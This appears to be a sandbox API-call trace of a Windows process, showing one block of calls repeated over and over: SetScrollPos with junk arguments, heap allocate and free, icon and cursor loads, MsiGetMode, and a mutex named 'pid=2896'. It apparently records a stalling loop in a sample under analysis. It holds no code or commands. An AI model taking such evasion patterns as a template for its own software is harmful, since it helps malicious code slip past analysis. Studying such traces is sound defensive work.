	[0094.450] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1786244068, bRedraw=1) returned 0
	[0094.450] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.450] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.450] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.450] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.450] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.450] GetCurrentProcessId () returned 0xb50
	[0094.450] GetLastError () returned 0x578
	[0094.450] GetLastError () returned 0x578
	[0094.450] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.450] GetLastError () returned 0x0
	[0094.450] ReleaseMutex (hMutex=0x360) returned 1
	[0094.450] CloseHandle (hObject=0x360) returned 1
	[0094.450] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-445059382, bRedraw=1) returned 0
	[0094.450] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.450] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.450] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.451] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.451] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.451] GetCurrentProcessId () returned 0xb50
	[0094.451] GetLastError () returned 0x578
	[0094.451] GetLastError () returned 0x578
	[0094.451] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.451] GetLastError () returned 0x0
	[0094.451] ReleaseMutex (hMutex=0x360) returned 1
	[0094.451] CloseHandle (hObject=0x360) returned 1
	[0094.451] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=905755256, bRedraw=1) returned 0
	[0094.451] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.451] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.451] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.451] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.451] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.451] GetCurrentProcessId () returned 0xb50
	[0094.451] GetLastError () returned 0x578
	[0094.451] GetLastError () returned 0x578
	[0094.451] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.451] GetLastError () returned 0x0
	[0094.451] ReleaseMutex (hMutex=0x360) returned 1
	[0094.451] CloseHandle (hObject=0x360) returned 1
	[0094.451] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2028767450, bRedraw=1) returned 0
	[0094.452] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.452] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.452] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.452] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.452] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.452] GetCurrentProcessId () returned 0xb50
	[0094.452] GetLastError () returned 0x578
	[0094.452] GetLastError () returned 0x578
	[0094.452] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.452] GetLastError () returned 0x0
	[0094.452] ReleaseMutex (hMutex=0x360) returned 1
	[0094.452] CloseHandle (hObject=0x360) returned 1
	[0094.452] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-658692908, bRedraw=1) returned 0
	[0094.452] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.452] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.452] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.452] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.452] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.452] GetCurrentProcessId () returned 0xb50
	[0094.452] GetLastError () returned 0x578
	[0094.453] GetLastError () returned 0x578
	[0094.453] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.453] GetLastError () returned 0x0
	[0094.453] ReleaseMutex (hMutex=0x360) returned 1
	[0094.453] CloseHandle (hObject=0x360) returned 1
	[0094.453] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=721011586, bRedraw=1) returned 0
	[0094.453] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.453] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.453] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.453] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.453] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.453] GetCurrentProcessId () returned 0xb50
	[0094.453] GetLastError () returned 0x578
	[0094.453] GetLastError () returned 0x578
	[0094.453] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.453] GetLastError () returned 0x0
	[0094.453] ReleaseMutex (hMutex=0x360) returned 1
	[0094.453] CloseHandle (hObject=0x360) returned 1
	[0094.453] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2110346032, bRedraw=1) returned 0
	[0094.453] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.453] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.454] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.454] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.454] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.454] GetCurrentProcessId () returned 0xb50
	[0094.454] GetLastError () returned 0x578
	[0094.454] GetLastError () returned 0x578
	[0094.454] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.454] GetLastError () returned 0x0
	[0094.454] ReleaseMutex (hMutex=0x360) returned 1
	[0094.454] CloseHandle (hObject=0x360) returned 1
	[0094.454] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-785656866, bRedraw=1) returned 0
	[0094.454] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.454] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.454] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.454] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.454] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.454] GetCurrentProcessId () returned 0xb50
	[0094.454] GetLastError () returned 0x578
	[0094.454] GetLastError () returned 0x578
	[0094.454] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.454] GetLastError () returned 0x0
	[0094.454] ReleaseMutex (hMutex=0x360) returned 1
	[0094.455] CloseHandle (hObject=0x360) returned 1
	[0094.455] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=622937484, bRedraw=1) returned 0
	[0094.455] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.455] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.455] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.455] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.455] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.455] GetCurrentProcessId () returned 0xb50
	[0094.455] GetLastError () returned 0x578
	[0094.455] GetLastError () returned 0x578
	[0094.455] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.455] GetLastError () returned 0x0
	[0094.455] ReleaseMutex (hMutex=0x360) returned 1
	[0094.455] CloseHandle (hObject=0x360) returned 1
	[0094.455] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2041161786, bRedraw=1) returned 0
	[0094.456] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.456] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.456] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.456] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.456] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.456] GetCurrentProcessId () returned 0xb50
	[0094.456] GetLastError () returned 0x578
	[0094.456] GetLastError () returned 0x578
	[0094.456] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.456] GetLastError () returned 0x0
	[0094.456] ReleaseMutex (hMutex=0x360) returned 1
	[0094.456] CloseHandle (hObject=0x360) returned 1
	[0094.456] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-825951256, bRedraw=1) returned 0
	[0094.456] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.456] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.456] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.456] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.456] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.456] GetCurrentProcessId () returned 0xb50
	[0094.456] GetLastError () returned 0x578
	[0094.456] GetLastError () returned 0x578
	[0094.456] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.457] GetLastError () returned 0x0
	[0094.457] ReleaseMutex (hMutex=0x360) returned 1
	[0094.457] CloseHandle (hObject=0x360) returned 1
	[0094.457] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=611532950, bRedraw=1) returned 0
	[0094.457] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.457] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.457] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.457] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.457] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.457] GetCurrentProcessId () returned 0xb50
	[0094.457] GetLastError () returned 0x578
	[0094.457] GetLastError () returned 0x578
	[0094.457] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.457] GetLastError () returned 0x0
	[0094.457] ReleaseMutex (hMutex=0x360) returned 1
	[0094.457] CloseHandle (hObject=0x360) returned 1
	[0094.457] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2058647108, bRedraw=1) returned 0
	[0094.457] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.457] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.457] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.457] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.457] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.458] GetCurrentProcessId () returned 0xb50
	[0094.458] GetLastError () returned 0x578
	[0094.458] GetLastError () returned 0x578
	[0094.458] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.458] GetLastError () returned 0x0
	[0094.458] ReleaseMutex (hMutex=0x360) returned 1
	[0094.458] CloseHandle (hObject=0x360) returned 1
	[0094.458] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-779576078, bRedraw=1) returned 0
	[0094.458] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.458] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.458] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.458] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.458] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.458] GetCurrentProcessId () returned 0xb50
	[0094.458] GetLastError () returned 0x578
	[0094.458] GetLastError () returned 0x578
	[0094.458] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.458] GetLastError () returned 0x0
	[0094.458] ReleaseMutex (hMutex=0x360) returned 1
	[0094.458] CloseHandle (hObject=0x360) returned 1
	[0094.458] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=686797984, bRedraw=1) returned 0
	[0094.459] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.459] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.459] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.459] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.459] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.459] GetCurrentProcessId () returned 0xb50
	[0094.459] GetLastError () returned 0x578
	[0094.459] GetLastError () returned 0x578
	[0094.459] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.459] GetLastError () returned 0x0
	[0094.459] ReleaseMutex (hMutex=0x360) returned 1
	[0094.459] CloseHandle (hObject=0x360) returned 1
	[0094.459] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2132165298, bRedraw=1) returned 0
	[0094.459] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.459] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.459] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.459] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.459] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.459] GetCurrentProcessId () returned 0xb50
	[0094.459] GetLastError () returned 0x578
	[0094.459] GetLastError () returned 0x578
	[0094.459] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.460] GetLastError () returned 0x0
	[0094.460] ReleaseMutex (hMutex=0x360) returned 1
	[0094.460] CloseHandle (hObject=0x360) returned 1
	[0094.460] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-646531332, bRedraw=1) returned 0
	[0094.460] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.460] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.460] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.460] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.460] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.460] GetCurrentProcessId () returned 0xb50
	[0094.460] GetLastError () returned 0x578
	[0094.460] GetLastError () returned 0x578
	[0094.460] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.460] GetLastError () returned 0x0
	[0094.460] ReleaseMutex (hMutex=0x360) returned 1
	[0094.460] CloseHandle (hObject=0x360) returned 1
	[0094.460] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=848732586, bRedraw=1) returned 0
	[0094.460] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.460] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.460] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.460] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.460] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.461] GetCurrentProcessId () returned 0xb50
	[0094.461] GetLastError () returned 0x578
	[0094.461] GetLastError () returned 0x578
	[0094.461] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.461] GetLastError () returned 0x0
	[0094.461] ReleaseMutex (hMutex=0x360) returned 1
	[0094.461] CloseHandle (hObject=0x360) returned 1
	[0094.461] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1941340840, bRedraw=1) returned 0
	[0094.461] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.461] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.461] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.461] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.461] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.461] GetCurrentProcessId () returned 0xb50
	[0094.461] GetLastError () returned 0x578
	[0094.461] GetLastError () returned 0x578
	[0094.461] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.461] GetLastError () returned 0x0
	[0094.461] ReleaseMutex (hMutex=0x360) returned 1
	[0094.461] CloseHandle (hObject=0x360) returned 1
	[0094.461] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-426817018, bRedraw=1) returned 0
	[0094.461] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.462] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.462] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.462] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.462] GetCurrentProcessId () returned 0xb50
	[0094.462] GetLastError () returned 0x578
	[0094.462] GetLastError () returned 0x578
	[0094.462] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.462] GetLastError () returned 0x0
	[0094.462] ReleaseMutex (hMutex=0x360) returned 1
	[0094.462] CloseHandle (hObject=0x360) returned 1
	[0094.462] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1097336756, bRedraw=1) returned 0
	[0094.462] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.462] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.462] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.462] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.462] GetCurrentProcessId () returned 0xb50
	[0094.462] GetLastError () returned 0x578
	[0094.462] GetLastError () returned 0x578
	[0094.462] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.463] GetLastError () returned 0x0
	[0094.463] ReleaseMutex (hMutex=0x360) returned 1
	[0094.463] CloseHandle (hObject=0x360) returned 1
	[0094.463] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1663846814, bRedraw=1) returned 0
	[0094.463] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.463] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.463] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.463] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.463] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.463] GetCurrentProcessId () returned 0xb50
	[0094.463] GetLastError () returned 0x578
	[0094.463] GetLastError () returned 0x578
	[0094.463] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.463] GetLastError () returned 0x0
	[0094.463] ReleaseMutex (hMutex=0x360) returned 1
	[0094.463] CloseHandle (hObject=0x360) returned 1
	[0094.463] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-120433136, bRedraw=1) returned 0
	[0094.463] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.463] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.463] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.463] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.463] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.464] GetCurrentProcessId () returned 0xb50
	[0094.464] GetLastError () returned 0x578
	[0094.464] GetLastError () returned 0x578
	[0094.464] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.464] GetLastError () returned 0x0
	[0094.464] ReleaseMutex (hMutex=0x360) returned 1
	[0094.464] CloseHandle (hObject=0x360) returned 1
	[0094.464] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1432610494, bRedraw=1) returned 0
	[0094.464] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.464] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.464] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.464] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.464] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.464] GetCurrentProcessId () returned 0xb50
	[0094.464] GetLastError () returned 0x578
	[0094.464] GetLastError () returned 0x578
	[0094.464] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.464] GetLastError () returned 0x0
	[0094.464] ReleaseMutex (hMutex=0x360) returned 1
	[0094.464] CloseHandle (hObject=0x360) returned 1
	[0094.464] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1299683220, bRedraw=1) returned 0
	[0094.465] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.465] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.465] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.465] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.465] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.465] GetCurrentProcessId () returned 0xb50
	[0094.465] GetLastError () returned 0x578
	[0094.465] GetLastError () returned 0x578
	[0094.465] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.465] GetLastError () returned 0x0
	[0094.465] ReleaseMutex (hMutex=0x360) returned 1
	[0094.465] CloseHandle (hObject=0x360) returned 1
	[0094.465] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=272620314, bRedraw=1) returned 0
	[0094.465] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.465] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.465] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.465] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.465] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.465] GetCurrentProcessId () returned 0xb50
	[0094.465] GetLastError () returned 0x578
	[0094.465] GetLastError () returned 0x578
	[0094.465] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.466] GetLastError () returned 0x0
	[0094.466] ReleaseMutex (hMutex=0x360) returned 1
	[0094.466] CloseHandle (hObject=0x360) returned 1
	[0094.466] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1854553800, bRedraw=1) returned 0
	[0094.466] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.466] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.466] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.466] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.466] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.466] GetCurrentProcessId () returned 0xb50
	[0094.466] GetLastError () returned 0x578
	[0094.466] GetLastError () returned 0x578
	[0094.466] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.466] GetLastError () returned 0x0
	[0094.466] ReleaseMutex (hMutex=0x360) returned 1
	[0094.466] CloseHandle (hObject=0x360) returned 1
	[0094.466] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-848850058, bRedraw=1) returned 0
	[0094.466] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.466] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.466] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.466] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.467] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.467] GetCurrentProcessId () returned 0xb50
	[0094.467] GetLastError () returned 0x578
	[0094.467] GetLastError () returned 0x578
	[0094.467] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.467] GetLastError () returned 0x0
	[0094.467] ReleaseMutex (hMutex=0x360) returned 1
	[0094.467] CloseHandle (hObject=0x360) returned 1
	[0094.467] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=752343332, bRedraw=1) returned 0
	[0094.467] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.467] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.467] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.467] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.467] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.467] GetCurrentProcessId () returned 0xb50
	[0094.467] GetLastError () returned 0x578
	[0094.467] GetLastError () returned 0x578
	[0094.467] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.467] GetLastError () returned 0x0
	[0094.467] ReleaseMutex (hMutex=0x360) returned 1
	[0094.467] CloseHandle (hObject=0x360) returned 1
	[0094.467] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1931800622, bRedraw=1) returned 0
	[0094.468] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.468] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.468] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
